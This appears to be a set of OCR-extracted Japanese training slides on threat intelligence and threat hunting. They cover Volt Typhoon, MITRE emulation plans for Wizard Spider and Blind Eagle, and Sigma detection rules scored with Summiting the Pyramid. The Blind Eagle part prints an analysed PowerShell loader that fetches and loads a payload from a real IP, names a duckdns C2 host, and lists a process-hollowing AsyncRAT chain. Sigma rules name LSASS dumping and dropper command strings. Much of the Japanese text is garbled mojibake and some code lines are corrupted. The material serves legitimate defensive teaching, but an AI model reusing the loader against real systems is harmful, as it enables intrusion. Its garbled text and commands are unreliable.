Volt Typhoon actors may have attempted to move laterally to a cloud environment in one victim's network but direct attribution to the Volt Typhoon group was inconclusive. During the period of the their known network presence, there were anomalous login attempts to an Azure tenant [T1021.007] potentially using credentials [T1078.004] previously compromised from theft of
NTDS.dit. These attempts, coupled with misconfigured virtual machines with open RDP ports, suggested a potential for cloud-based lateral movement. However, subsequent investigations, including password changes and multifactor authentication (MFA) implementations, revealed authentication failures from non-associated IP addresses, with no definitive link to Volt Typhoon.

Collection and Exfiltration

The U.S. authoring agencies assess Volt Typhoon primarily collects information that would facilitate follow-on actions with physical impacts. For example, in one confirmed compromise, they collected [TAO009] sensitive information obtained from a file server in multiple zipped files [T1560] and likely exfiltrated [TA0010] the files via Server Message Block (SMB) [T1048] (see Figure
3). Callected information included diagrams and documentation related to OT equipment, including supervisory control and data acquisition (SCADA) systems, relays, and switchgear. This data is crucial for understanding and potentially impacting critical infrastructure systems, indicating a focus on gathering intelligence that could be leveraged in actions targeting physical assets
and systems.

Figure 3: Volt Typhoon Attack Path for Exfiltration of Data from File Server
Figure 3: Volt Typhoon Attack Path for Exfiltration of Data from File Server

In another compromise, Volt Typhoon actors leveraged WMIC to create and use temporary directories (C:\Users\Public\pro, C:\Windows\Temp\tmp, C:\Windows\Temp\tmp'\Active Directory and C:\Windows\Temp\tmp'registry) to stage the extracted ntds.dit and SYSTEM registry hives from ntdsutil execution volume shadow copies (see the Credential Access section) obtained from
two DCs. They then compressed and archived the extracted ntds.dit and accompanying registry files by executing ronf.exe, which was likely a renamed version of the archive utility rar.exe) [T1560.001].

GO

Share These Results
Extracted 12 unique IDs:

T1550 T1563 T1021.007 T1078.004
T1560 T1048 T1560.001 T1053.002
T1589.001 T1583.004 T1003.003 T1590.005

Note: These relationships are designed to give you ideas, they are not designed to be exact matches or indicate coverage. They can be used to better understand the technologies, ask better questions, and develop test plans for your countermeasures.

Share These Results

Mapping Results:
select copy
ATT&CK ID | ATTECK Name Related D3FEND Techniques
ViEED | UEAENEDAL LS DA | [ G off artifact D3FEND Tactic | D3FEND Technique def rel def artifact
produces Web Network Traffic Detect Protocol Metadata Anomaly Detection analyzes Network Traffic
may-produce Network Traffic Detect Remote Terminal Session Detection analyzes Network Traffic
may-produce Network Traffic Detect Network Traffic Community Deviation analyzes Network Traffic
may-produce Network Traffic Detect . Client-server Payload Profiling analyzes Network Traffic
produces Web Network Traffic Detect Per Host Download-Upload Ratio Analysis analyzes Network Traffic

may-produce | Network Traffic Detect Network Traffic Signature Analysis analyzes Network Traffic




3-3 : Threat Research
- BEZHIOLER

« MBULBRICEDE. BRI FTUAZIERT D,

— £&3) APT3 Emulation Plan ; https://attack.mitre.org/resources/adversary-emulation-plans/

- ) Wizard Spider®BE>FU AHEE
- O3 7ER—XEFTBIEERYAIN-ILFETIL—T, TrickBotTHEZ.
— &%) https://qithub.com/center-for-threat-informed-defense/adversary emulation library/tree/master/wizard spider

: 1?']) Blind Eaglelc k38R F U AR

Blind Eagle (344 : APT-C-36) (&. 2019510 E)7 ET U7 RILOMEMZBIBEIIICRE L TL\D,
— 2023fF(ClE. OO EVBATOMBERECIRADTHL. IO EVDOFEEEZEZENETDIHLUWF v R-2HRESN TS,
— &%) https://github.com/center-for-threat-informed-defense/adversary emulation library/tree/master/blind eagle
— &%) “Becoming a Dark Knight: Adversary Emulation Demonstration for ATT&CK Evaluations”
« Threat Researchz ED XS (C1TL). Adversary EmulationZ{7 DO D9 <EBHL CTUL\BEE
* YouTube : https://www.youtube.com/watch?v=ulktZxdN6nA
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https://attack.mitre.org/resources/adversary-emulation-plans/
https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/wizard_spider
https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/blind_eagle
https://www.blackhat.com/us-23/briefings/schedule/#becoming-a-dark-knight-adversary-emulation-demonstration-for-attck-evaluations-33209
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WIZARD SPIDER
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Phase 1 :

T4V IIOKE(CT, BRYDWEEE THDDorothyDifzk(C. ¥PUORFI A MEXIET D,
X Z0OFEmotetz5 > O— RUTEITL. /R— MBOBOERHTC2Z=MEII T D,

Emotet(FL X MUF—ZZE U THHGIEZIES T Do

Outlook Scraperz4 > O— R U. OutlookiEfZEDA Y- Ly REBIRIBEHRZINET D,
Emotet(dER5HIE#RZ A L C. RDP #Z2HTHEMINESZSZ1TV). TrickbotZz5 D> 00— K93,

Workstation
judy@dorothy

v o

P o

Initial: Macros Document

Backdoor: Emotet
Creds: Outlook-scraper




Phase 2 :
TrickBot(FHTTPIREATC2H —/NEPDED Z1TV\, [LERRY NI =0 ES X T LADHRE - BRZEITD.
Rubeus Zf#F L T Kerberosting (C K BHERFIEEITD.
INETNTZERIBHRZFERA LU CRDPEATRAC> O FO—5—A7ITRXTD, 1—HY1 >+ > BF(CTrickBot
ZEITULELZ A MNIF—TKEEEZHEERT Do
- AdFindZfER UL T Active Directory Z2<XwvE>2TJ93,

E

i ..‘

o \‘@/ | =

Workstation
bill@toto

Backdoor: TrickBot
Creds: Rubeus
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Phase 3 :

BESNIC R A >0 bO—3ARDPIE#HiZITLY. wbadmin msc >V — )N\ O T D
J\NWFROUT hZFERLUTIRTDON\Y IOy ITH—-—EXETOCRZEILEL., BHiETIT D,
T 9dE. RyukzETU. I\ o7y TH—) I SRIEEAZIES{LT D,

« Ryuk(ZBEEMEENIEFESE EARI/ AR ZETL. BIRNICTD 7ML ZzBEL9 D,

'y =

£ i ——

Active Directory
vileming@wizard

Backdoor: TrickBot
Ransomware: Ryuk
Tools: AdFind
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5403992837L20885700 837L20889870004-01-02-2023- hxxp://172.174.176[]153 /attachments/105766525575 HKLA\Softwam\Meresoi\Windows
04-01-02-2023-pdf.uue df.vbs /dll/Dll.ppam 0246403/10701007 36463093 NT\CurrentVersion\Scheduie\TaskCache\Tree\MR
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dian server[ ]! RN MRR’ e
il ] e B S CaUsers\«wser-\AppData\RoamingMRR
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UPTEOa e O e [-mcoc“.gamr.&an.exe

e

T:O?‘ﬁéc’.s
attachs [T l\" M _seses

l—* — ('"'(4 .
e
C?‘e:'r‘l

lcrea:es
MWW

C:A\Wincows\System32\WindowsPowerShell\wv1.0\powershellexe >
[Byrell SrOWg = [systemConver)-FromBaseédstring((New-Object
Net WebChent) DownloaaString( hetp//172174176.153/¢1/Dil. ppam)) i
Sys:em AppDomain]:Curen:Domain. Loacd(SrOWg) G&Type( Fiber Hom VBS
e').GetMethod VAI ) Invoke Saull [cojectl) et
('12.y53/3383903646370010701/304642057 5525667501 /stnemhcatia/ [m———- -
moc.ppadrocsd.ndc//spth’))1

C:\Windows\Temp\OneDrive.vbs

\Wincows\System32\WincowsPowershel
Ww1.0\powershellexe” -WindowStyle Hicden
Path *“vbs -Destination
ndows\Temp\OneDrive vbs Key :
HKCU\Scftware\MicroscftWincows\CurrentV
ersion\Run\MRR SR
i int el |7 i~k vu vis ~y Arn1SA
W User interaction. You must make some click C\Users\<user>\AppDat\Roaming\MRR exe asy1543.duckdns|Jorg:1543

[ ] Blue color file system activity Port 1543

[ orange color network activity

Resolutions cbserved
[] purplecolor behavior/process activity j§£72 ?f’}z
[_] Red color registry activity 6.246.12]

https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia




BECOMING A DARK KNIGHT PN Blind Eagle

SOFTWARE FLOW el

n
|
Big Bad World % Blind Eagle C2 Server
.........0.0.0................-...O...‘....0..‘...........‘
S
SolEpy et .What’s happening under this monitor?

Windows 10 Workstation

User Privileges: Non-admin

Initial Access: Spearphishing
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Scenario Steps ¥y

Steps

Step O - Initial
Compromise

Step 1 -
Execution

User Story

Blind Eagle gains an initial focthold into the victim's system via spearphishing
(T1566.001). The attackers send an email containing a password-protected PCF, and
the password is provided in the email's content. The sender address spoofs the
Colombian Mational Directorate of Taxes and Customs (DIAN), a legitimate
Colombian government agency.

The non-admin user will enter the password to open the PDF, which contains a fake
notification from DIAN regarding outstanding tax payments owed by the user. The
document prompts the user to click a link (T1566.002, T1204.001). This link wi

dewnload a second item, which is a password protected RAR archive - "factura-
228447578537 pdf.uue” - that utilizes double file extensions (masquerades as a PDF
but really is a UUE) (T1036.007). The site will download the AsyncRAT payload from
a Discord COM (T1102). The user will double click the file, which prompts the
execution of WBS script (“factura-22844758537.pdfvbs") via wscript.exe and trigger
the persistence mechanism (T1204.002. T1053.005).

Software

Browser-
hased
Cutlook
instance

Adabe
Acrobat

AsyncHRAT
Powershe
Wisual Basic

WinRAR

Reporting

BlackBerry -
Feb 2023
Check Point
Fesearch -
Jan 2023

QiAnXin
Threat
Intelligence
Center - Feb
2019

Lab 52 - 2020

TrendMicro -
Sept 2021

5ClLabs MX -
June 2022

ElackBerry -
Felb 2023
Check Point
Research -
Jan 2023

Lab 52 - 2020

TrendMicro -

—

Sept 2021

5CILabs MX -
Jul 2022




Overview

Step 1 emulates Blind Eagle gaining initial access from the target user downloading, extracting, and executing a Visual Basic script received
from a link residing in an attachment to a spearphishing email. The email is sourced from the email address notificacion@dian-info.com the

following actions take place when the VB script is executed:

. The script uses PowerShell to download new_rump_vb.net.txt ( fiber.dll ) from 192.168.8.5/d1l .

. The script then loads fiber.dll into the current Application Domain.

. Once loaded the vAI method is called passing in an obfuscated URL pointing to the AsyncRAT payload { asy.tx=t ).

. fiber.dll creates an artifact in C:\Windows\Temp called OneDrive.vbs which is a copy of the VB loader.

. fiber.dll uses the WebClient.DownloadString method to download Rump.xls (fsociety.dll) .

. fiber.dll uyses Strings.StrReverse and Replace to unmangle Rump.xls .

7. fiber.dll uses 5trings.StrReverse and Replace to unmangle the URL pointing to asy.txt (AsyncRAT payload) .

. fiber.dll uses webClient.Download5tring and StrReverse to download and unmabgle asy.txt .

. fiber.dll uses AppDomain.CurrentDomain.load and Convert.FromBaseg4String to load Rump.xls (fsociety.dll) into the current
Application Domain and executes the Ande method of the fseciety.Tools Class passing in two arguments: The path to RegSves.exe and
the contents of asy.txt with Basebd encoding removed.

. fsociety.dll performs process hollowing to inject AsyncRAT into RegSvcs.exe

11. fiber.dll calls the startup method of the fiber.Optical class. This leverages the Windows Script Host to establish persistence by

creating an 1nk file in the Users startup folder pointing to the previously dropped Onebrive.vbs in C:\Windows'Temp

% Procedures

= EDOF into Deskl {18.1.8.5) :

Username Password

bancomurciglagoldemo_admin Phrasing!

s (Open Edge and browse to hitps://mail.bancomurcielago.com/owa, login as demo_admin :




3-3 : Threat Research
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- IRTT  IEENE DORMOWERAMNHIEA U ZIRER
« RDF7I>3>EUT. BRI YUAZPurple TeamingtThreat Hunting(ZIGHT B,
- S[E(&. Threat HuntingZdul(C5¥E829 D (Purple Teaming(CDULTIE. Appendix CESRBD &)
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3-4 : Threat Hunting with Threat Intelligence
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3-4 . Threat Hunting with Threat Intelligence

E/i/\>5« >% (Threat Hunting) &I(3?
- BF1T7D—VRAHICLDES :

- BFOtF1 VT MRZEE T SRE/HBEOBRZEEEN - BROCGHEL. 20BEHRZEFALT

A\ U 2xEmESEdCE (=07 057«R2777J0O0—F)
— https://www.secureworks.com/centers/what-is-threat-hunting

- BEI\>F+ > DEMN :
— RIDBRZEEENICERE U, #®AF+ v (Breach Detection Gap) ZiEHTUL &

T=0 T=1 T=2 T=3 T=4 T=5 T=5

Breach detection gap

Start of Intial compromise Detection of  Containment of  Eradication of  Recoveryfrom  Post-incident
reconnaissance adversary adversary adversary incident activity

. 1
Incident response process

Ref : TaHiTl Threat Hunting Methodology
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https://www.secureworks.com/centers/what-is-threat-hunting
https://www.betaalvereniging.nl/en/safety/tahiti/

3-4 . Threat Hunting with Threat Intelligence

E/i/\>5« >% (Threat Hunting) &I(3?

- BRE. BREI/I\>T 1 ODBEERDD ?
L TR, b1 UT 1 HEOERTEENES LTV, ST v (CHio EEETILORT LR < o 2Tz,
_ LoLBaSHEMQIAMER . ERDTIT 1 EF 1200, BEEROR, HHEE LV —ZMEZ TS5,

- 8% : LoLBaSKZ (Living Off the Land Binaries and Script®ZE)
- BARBICAAR=ILENTWVWBY I NI, OSTIAIL MMeEE. RAMFT4TV—)L - AOUT %z

BEHUCHEITDIFE
« LOLBAS : https://lolbas-project.github.io/
« GTFOBIns . https://gtfobins.qgithub.io/

« File Extension : https://filesec.io/
 LOTS Project : https://lots-project.com/ (Domain Fronting)
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3-4 . Threat Hunting with Threat Intelligence
. 7D127GE‘“)L EDLSICBRIN> T+ 2D EXRETIh ?

Sqrritt : Hunting Loop
« CyberReasontt : Threat Hunting 8 Steps
« SANS Institute : SANS Threat Hunting Model
« SANS Institute : Intelligence Driven Threat Hunting
« FI-ISAC NL : TaHITI (Targeted Hunting integrating Threat Intelligence)
«  Splunktt : PEAK (Prepare, Execute, Act with Knowledge)

« TaHIiTI : Targeted Hunting integrating Threat Intelligence

(
Phase I: Initiate Phase II: Hunt (Phase 1i: Finalize\

Handover

refine !

! Document
i findings

store

Enrich investigation

Retrieve data
abstract

Analyze dat !

Determine data sources Validate hypothesis

Determine analysis
techniques

= >
o =
N -
]
']
N
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https://www.threathunting.net/sqrrl-archive
https://www.cybereason.com/blog/blog-the-eight-steps-to-threat-hunting
https://www.sans.org/reading-room/whitepapers/threathunting/practical-model-conducting-cyber-threat-hunting-38710
https://www.youtube.com/watch?v=-QlaOX5w8G8
https://www.betaalvereniging.nl/wp-content/uploads/DEF-TaHiTI-Threat-Hunting-Methodology.pdf
https://www.splunk.com/ja_jp/blog/security/peak-threat-hunting-framework.html

3-4 . Threat Hunting with Threat Intelligence
BRI \>T7« >0 70OEXR : ABMIC3DDI T —XTHEREIND.
- TOHRTE. [ESBE] J1-XHREEE,
— RBRICELD. BRY\>T 1 > IDRE®, ERCHUNtingZ TS MREIOIREE] T T —XDIEENRES D,

o [{REHABEE] OEKYH : 4 55 EIBI S (= H.O.P.E. Framework)

{RER#EZE (Hypothesis) r (IREB(ICKD) ARBRRAXAATHI> MOMERNESNTULS,
— AEMWSR (Object of Investigation) . R > J> bO—>H—) L EDWindows Event Log
— SAEZAE (Procedure) . AR ND (ID:4720) TRDIAFH, H—ERSEZICTHDO> MERSNZO0 %R,
—  YIHFE#E (Evaluation Criteria) . BRI MUNTIEGES. B (=REDOEMGD) T B,
<BmRI/I\>FT+4>070CR>
i HIEI AR S - e ] {RERODAREIE ] L) (WEDRHS D) 1 >>F > bIG
(Create Hypothesis) J (Hunting) J (Incident Response)
7 Y

REFa1A>
By (EDEMRL) (Documentation)

IRGRIBERICR D
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3-4 . Threat Hunting with Threat Intelligence

- {REHIBEROEETE :
- BRI/ \>FTa >0 BIFEOEF1IVUST v WREZLR T DIRE/BEDOKRMDER] 2RDOTBFE
— ZDfes. [EER > &5 ORZEN 7 I O0—FZHEAURVWELITOBRMEN S D
1. BODREFEELCIEODTUED.
2. BIRMNRMEECIRDTUED,
3. BMEHNESHDHIBTNI7 U X FOEEBRNHIRTICIRAD>TUED,

- JEER MRGERTEEIRMRERABER] ZITSZHCEESTNIEL LD ?
- BEN>FTA >OOFTO—FFik
[HREERTREMRRL) &2 EDLS (BRI BN EXS - BEEERBLET,

— BRI\>F 41 D DOriiESRM - $iii
[MREE]RE/MGER | &2 X DRHRSAFIC DN TCTITEHRBLE T,
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3-4 . Threat Hunting with Threat Intelligence
« BE/\>Ta07T0O-FF KRS 4TEHEFEITD,

ABH
(Attack based Hunting)

MITRE ATTECKZE, BREFHREN F—9CRN37/IU— ®EME) =0’ o Jh I-VEc B pansaFUrgmr>rusTy
[CARGIEREIT S FE. (CEB U TRERBRE TS FE, A vl R B (CARGFHERZ1T S FE.

o MEsgsE) O FDH =D TULVRWIER
OO NS =3
. $BESIPY RL 2 %Geolocationts <0 9 SNELFERMEERTS. | occms<pma,
=5 [

[REAR R XA > T HD > MERL wcvw?>dutﬁ§ﬁm%ﬁu\'ﬂ?ﬁiﬁﬁ?ﬁ%%ﬁ?%”“ﬁ . ISACH BB I EERE S &
(T1136.002) DBEEITS. SRR DREDED LaLy SR S [C. AEEES.
EDIP RLAZRHAET D ) |\></r/gﬁ%1§|ﬁ¢&“ﬁ31 NI, DeceptionZz/EHIT D
i ° NIF U, REROD A > ZEEHTR ’ °
WHVREE 3,
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3-4 . Threat Hunting with Threat Intelligence

o BRE/\>T o 2D%EFIRT DICHDRHREMT

— Full-Spectrum Visibility (BEZEIRIE)
« BRI \>FT >0 TOSLETE REREBAEIREECERRODT —INNELERSD,
o TDz&. [HFMBY] (C(SARFERGE/MRER D, T —FWNEEE - 7 —FDREBN VW EDHNTET
NRIIRBRL \> T« W TERVWAIEEEN S D,

— Know-Normal®DIRHl :
s BR\>T 4 > JDEERF—T— RO—DICT7IXYU— (EEE) "\Hd.
- BEEZIEETIHICIE. LERDIREE (Normal/iREE) ZH> THEMERH D, TDITH,
BMENREIRIEZIT O e, [EEROIRRE] ZI1EU<IEfFITINEND D,

— f3) imERDEn&A]
— ) EEFHESNTNDIZHT> K
— ) RAADEBETZHD> LDEIG - FIRIAR
— f5) LESHRFEANTHIFESNTWLS/IN\1F) - EXEJ7 AL
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3-4 . Threat Hunting with Threat Intelligence

« BRE/\2TAUTESNIZHERIEIESTDIN?
— CSV. U, YARA, Snort. SIGMA/RXEDI& Az THIR T B,

- fil) SIGMA
— OJAR hZEOMDPRILERTDIEENTED., NANRSITRTF v IA - Y b
- CDITA—Xv hTEEHI UL Tuncoder.io] ¥ [sigconverteriol 'REZFED> T, ZFBIDSIEMA
T D ENAIREE TR D,

« &%) https://aithub.com/SigmaHQ/sigma
« &%) https://ipn.nec.com/cybersecurity/blog/221014/index.html
« &%) https://jsac.jpcert.or.jp/archive/2023/pdf/ISAC2023 workshop sigma jp.pdf
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https://github.com/SigmaHQ/sigma
https://jpn.nec.com/cybersecurity/blog/221014/index.html
https://jsac.jpcert.or.jp/archive/2023/pdf/JSAC2023_workshop_sigma_jp.pdf
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Blame 25 lines (25 loc) - 656 Bytes

title: Password Dumper Activity on LSASS @ *ﬁﬂ])b_)b%ﬁr\
id: 2ale97b7-d611-4f9a-9cb2-5125b4ccfdsc
status: test
description: Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN
references:
- https://twitter.com/jackecr/status/807385668833968128
author: sigma
date: 2017/02/12
modified: 20622/10/09
tags:
- attack.credential_access

- attack.tlee3.eel

logsource: | @ BREIFREILD O0JY—2X
product: windows CDiHE. Windows®DSECURITYOZ

service: security

detection:

Sele:fi::;D' 4656 @ *ﬁ%n) I/_)I/
' WMEIEZE + 4 (Condition) TiEE I Do

ProcessName|endswith: '\lsass.exe'
AccessMask: '@x7@5°
ObjectType: 'SAM_DOMAIN'
condition: selection
falsepositives:
- Unknown

level: high

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml



CVE'2025_0282 \E\ Blame 31 lines (3@ loc) - 899 Bytes

title: Detects PHASEJAM Dropper
id: 6d97b7da-5201-4d5f-94b3-8324b@37403¢
status: experimental
description: Hunting rule looking for strings identified in the PHASEJAM dropper
author: Mandiant (original YARA rule)
references:
- md5: d18e5425ecd9608ecb992606b974e15d

logsource:

O 0 N oy Bw N

category: process_creation

[y
®

product: linux
detection:
12 selection:
13 CommandLine|contains:
14 - "AccessAllow()’
15 - '/jam/getComponent.cgi'
16 - 'jam/getComponent.cgi.bak’
17 - 'sh=$(echo CnN1Y"'
18 'up=$(echo CnN1Y'
19 "grep -q 'sub AccessAllow()'"
20 'cp -f /home/bin/remotedebug /home/bin/remotedebug.bak’
21 'chmod 777 /home/bin/remotedebug.bak’
22 ‘cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak’
23 'pkill cgi-server'
24 condition: selection
25 falsepositives:
26 - Legitimate system administration tasks
27 level: high
28 tags:
29 - attack.execution
30 - attack.t1e59

https://github.com/n3tl0kr/BlueTeam/tree/main/Detection%20Engineering/CVE-2025-0282
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Summit The Pyramid (=STP¥&%

o IRENDERZEM (Robustness) Zm @37z, MITREMIZER UM E

— 1EHMEM (Accuracy)
— Mm% (Resistance)

 https://ctid.mitre.org/projects/summiting-the-pyramid/

' EVVRIBE SEVEREZFDOZLE (=RUVVERBM - BEREEFDOZ L)
: BrfE DB (CX 9 DIREBDBIEEEN (CXT T DMENHD &

 https://center-for-threat-informed-defense.qgithub.io/summiting-the-pyramid/

«  Summiting the Pyramid of Pain (Shmoocon 2024)

SUMMIT THE PYRAMID
Level Up Your Analytics

Level 4

endpoint: ITaskScheduler, operation:
SchRpcRegisterTask

Level 3

http.log: resp_p: 5985 (HTTP)

or 5986 (HTTPS)

Level 1
c-useragent | contains:
‘WebDAV'

MITRE | Fiomed oeense

¢

. https://www.youtube.com/watch?v=B860QP361t8E

r

’
i

CORE TO TECHNIQUE
T1053:Sysmon ID 13
TargetObject=
“HKLM\SOF TWARE\
Microsoft\Windows NT\
CurrentVersion\Schedule\
TaskCache\Tree

IMPLEMENTATIONS
Event ID 5136 T1556:
mdDS-KeyCredentialLink

PRE-EXISTING TOOL

Sysmon ID 1:
OriginalFileName:schtasks.exe

ADVERSARY TOOL
Event ID 4104
ScriptBlockText

| contains: vaultemd

EMPHEMERAL
Event ID 4688
22dc9f0490f5ae
9f014d1acb7ed5641
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Summit The Pyramid (=STP¥&%
« MITRE®DR :

— WD) —T IO EFEZZHBAAEAL. FEE&T IV I(CH T BSIGMATYCARIFZEfHFENT
WB—7., EROMEICHKII LU TULWRWRENS B,

- &=
« SIGMA Repository : https://github.com/SigmaHQ/sigma/
« CAR (Cyber Analytics Repository) : https://car.mitre.org/analytics/by technigue
« AttackRuleMap : https://attackrulemap.com/

— ZLDOIBKL—)LICHUT. Pyramid of PAainDAEWL A V7DEFENARFETHD . WEFEZDEDZ
REITEROSY I TIEFRWS ENFEITFSEND,

- ZDz&. SIGMAZHLICHET D IL—LDT—DL U T, STPE®mZIRIEL CTL\D,

- STPERDEMTTIE :
— O =RFL—ILOTE =Ml A
— @ D3ETIVIC K DERFIPRAIL—)LDIBE - =
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« STPERQ : BREJL—ILOES M E

TR | DRIEAL SEHROT RERITDRE

O0Y—XDORXA7YI>0%T  BEL—ILDORA7I>D%5T STEP2TEMImLZ. #AIEDRI% STEP 1 ~ STEP 3%&#&L. =&
UL AR hDERFEE | ZET U\, T[T frDERZE ] ZEHMEL 2RI ZE4RZEmUET, BAA7=ZEHUET,
fmUZET, X9,

- S[O](&. [T1053 : Scheduled Task Creation Via Schtasks.EXE] Z#l(CEiBAZ L CTUL <,

— https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process creation/proc creatio
n win schtasks creation.yml
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https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_schtasks_creation.yml
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_schtasks_creation.yml

1 title: Scheduled Task Creation Via Schtasks.EXE
2 id: 92626ddd-662c-49e3-ac59-f6535f12d189
3 status: test
4 description: Detects the creation of scheduled tasks by user accounts via the "schtasks" utility.
5 references:
6 - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create
7 author: Florian Roth (Nextron Systems)
8 date: 2019-81-16
9 modified: 2024-01-18
10 tags:
11 - attack.execution
12 - attack.persistence
13 - attack.privilege-escalation
14 - attack.tl1le53.6e5
15 - attack.se111
16 - car.2013-08-001
17 - stp.1lu
18 logsource:
19 category: process_creation @ /r/\\/ I\\J_X
20 product: windows
21 detection:
22 selection:
23 Image|endswith: '\schtasks.exe'
24 CommandLine|contains: ' /create ' @ *ﬁ%ﬂ“/_)l/
25 filter_main_system_user:
26 User|contains: # covers many language settings
27 - "AUTHORI'
28 - "AUTORI'
29 condition: selection and not 1 of filter_main_* (:) §§%1tFiji
30 falsepositives:
31 - Administrative activity
32 - Software installation

33 level: low
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STPE R : #REIL—I)LDE=HiFHE

Step 1 : IA> FPEE{EDEUE(L
— AR> MDOEREM (Event Robustness) &ld. ENSSUMELA KO ZEE TCTEdIHN =BT B,

— HEZSIGMADIGZE. SYSMONZFIA UZA&EINH eI e,
« BEIBDIY> K :schtasks /create /tn AUTO_BUILD /tr c:¥WORSPACE¥test.bat /sc minute /mo 1

— User-mode (ZOTXERL) ZXHRELTLDIZS., U] &3,

- Application (A) User-mode (U) Kernel-mode (K)

I—YHE—RTE#FEIDII7TII— OSOI—HE—RDOEEICEIDO OSOH—FRILE— ROEFCKD

SR o CenoonEREns  OhEREND OO ENS
i Windows EID 4698 Sysmon EID 1 Windows EID 4688
Task Scheduled Process Creation Process Creation

JFE ¢ MITRE ATT&CK®DEREATI(E. SYSMON EID 1(& U] EUTEESND—A. UTDEIRTE Kl EEESINTUVET, £EREESUARDTE
EZRBIRDT., DFARECDVWTIEEELUTOVRWVLEIDN S DRITEERNVETT,
https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/levels /kernel-mode/ 131
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logsource:
category: process_creation
product: windows
detection:

selection:

Image|endswith: '\schtasks.exe'

1 n

CommandLine|contains: ' /create

filter_main_system_user:
User|contains: # covers many language settings
- 'AUTHORI'
- 'AUTORI'

condition: selection and not 1 of filter_main_*

A M2k 1, Syemon

28 #4

Process Create:

RuleName: -

UtcTime: 2024-12-24 22:28:32.473

ProcessGuid: [c2df7f2a—3590-676b—473c-00000000d4000}
Processld: 17324

Image: C:¥Windows¥System32¥schtasks.exe

FileVersion: 10.0.22621.1 (WinBuild.160101.0800)
Description: Task Scheduler Configuration Tool

Product: MicrosoftE Windows® Operating System

Company: Microsoft Corporation
OriginalFileMamercehta o
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« STPERQ : BREJL—ILOES M E

[ DBEFEE I DORIEL

« Step 1 : DIFDOERHE({EDEE(L
— DHDEREM (Analytic Robustness) &(d. ENSKSUMEBALKIREZ DI TCTETAINZEIKRT B,

71

EDLDRBREETHERITSNLBVWREFED [RMNLRY D

Lv. 5: Core to Sub-Technique or Technique e — - N : . .
—_ o et .o points) 1 F7Z(E I'RFEM/EEMHE (invariant behavior) | &
(B0 wvozE50) REFEDEAZ /N 12 B EAIE
Lv. 4: Core to Some Implementations of (Sub-)Technique ANEICERDIERZITORITNEEEIT D ENEH L. WEFIEIC
(BI70woa50) REFEDO—EZH)\— HE U /e ERAuE
_ s . S 27 NTEERIN SEIE L TV —)LAoHAS (C RIS S 2 BLAE
] ST e RIS B 22Uy (THL. BEEMAIC £o CRIESNTH D, WEENEE TS &3
CISTIRPERR RETH D)

Lv. 2 : Core to Adversary-Brought Tool or Outside Boundary et STE B — - A PN L (—BES Al
WEENMFEAAILY —)LFRTZEIHERRIZ WEENKNEZERITI DITHICHFEIAATTY —)LICHEET SEHANE

Lv 1. : Ephemeral Values BECLDEENETE THD. HAIVWIREBDONANRLS TEE
—BFAY 7 {ifiE ET‘@EBEEB'HE
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— ==

- STPHEERQD : IRHMJL—ILDEE=S

2l 537

[ DBEFEE I DORIEL

- Step 2 : DPITOERFE(LDEUEIL
— DHTOEREM (Analytic Robustness) & (3.

B9 5. SEDFE. UUTFD 3 mh FHIdRICIED.

detection:
selection:
Image|endswith: '"¥schtasks.exe'
CommandLine|contains: ' /create ’

filter_main_system_user:
User|contains:
- '"AUTHORT'
- 'AUTORT'
condition: selection and
not 1 of filter_main_*

(A)

(B)

(©)

selectionz> 3> :
Image 7 «+ — JL K @ fE A
schtasks.exe TR O BIIGE(CIHRINT
)

selectionz>3 > :

AN > RS54 > Al /create&E 0NV D T
X2 RSA5I8AESENTLWNEE
1REN9 B

filterzo>3 > :

SysmonOdZJ L d— R(CUserJ « —

RSO, SXAFALAI—H —
(5] : NT AUTHORITY¥System) A"
EESNCL\DIEE. BIFRIN T D

Lv.1

Lv.3

Lv.3

[BRAME] MNENCSUVEENICIREBZRETE D&

I e S - . S

schtasks.exezx JE— U Ca.exe&
INEEITIT7AILGISEEICEE
OJEE CTH DD, Lv.1 5T B,

OSON> RD—HEEICE R UL TL)
Beed. [SRFTAICERENNSF
LTV —JLDHEECRET D
BAME] (=20, Lv.3&FHIT B,

AL —DRR4E. [ X
FAICEREFHNSFEL TV Y —
JLoKLEE (CRIE I DEVAIME ] (C3%3
L. Lv.3&5HE9 B,
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« STPERQ : BREJL—ILOES M E

- Step 3 : RO

— STEP2T:Hift L/=BLAMEDRIRIE %~ %4 (Condition) ZDHI B,
. &M= :PAND Q
— IREA(L. PEEEQZEEEE INUIRINDT, 2FEFEDOEHAIEDSB/NESVMEICEFLLIRD,

« XK :PORQ
- WEBEZ. PEQOEAZEETINENSDDT. 2BHEDEAMED S BARETNIDICELLRD,

— condition: selection and not 1 of filter _main_*
- SEIDHBE. (A) AND (B) AND (C)ICHHTBeed. EDLAILEG. Lv.1ERB,
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STPE R : #REIL—I)LDE=HiFHE

Step 4 : BEAXI TV DIRE

— STEP1 ~ 3%Z#85&

ERSY N

o AR hDERZFEG

. SIHFDERERIE

- ERR. UXb1dDtagTr —JLRIC Tstp.1ul &
WSS ITMMT5 NS, MITREJO>S TV ~
F—/F. SIGMA GitHubL- 7R KNUJI(CH D

SIGMAJL—)L—
L CL\D,

=il

[1U] &1RB,
U
1

ZOURAIZEMNS

W 00 ~ o nm B w M

P B RrP R P PR B R
s o v B W N B ®

title: Scheduled Task Creation Via Schtasks.EXE
id: 92626ddd-662c-49e3-ac59-f6535f12d189
status: test
description: Detects the creation of scheduled tasks b
references:
- https://learn.microsoft.com/en-us/windows-server
author: Florian Roth (Nextron Systems)
date: 2019-01-16
modified: 2024-01-18
tags:
- attack.execution
- attack.persistence
- attack.privilege-escalation
- attack.tle53.ee5
- attack.selll
- car.2013-e8-ee1
- stp.1lu
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« STPHEER®Q : D3EFTILICKBERFERIRMIL—ILDBE L NE

BYVSARFNRA > S DYFE BRI IV—IL DS

BFEDKEFE (Techniques)(CxFTDWE D3ETILLD. EHOREFIECHLTHE EUVMEREZH#FL DD, BIXROER M4 Z
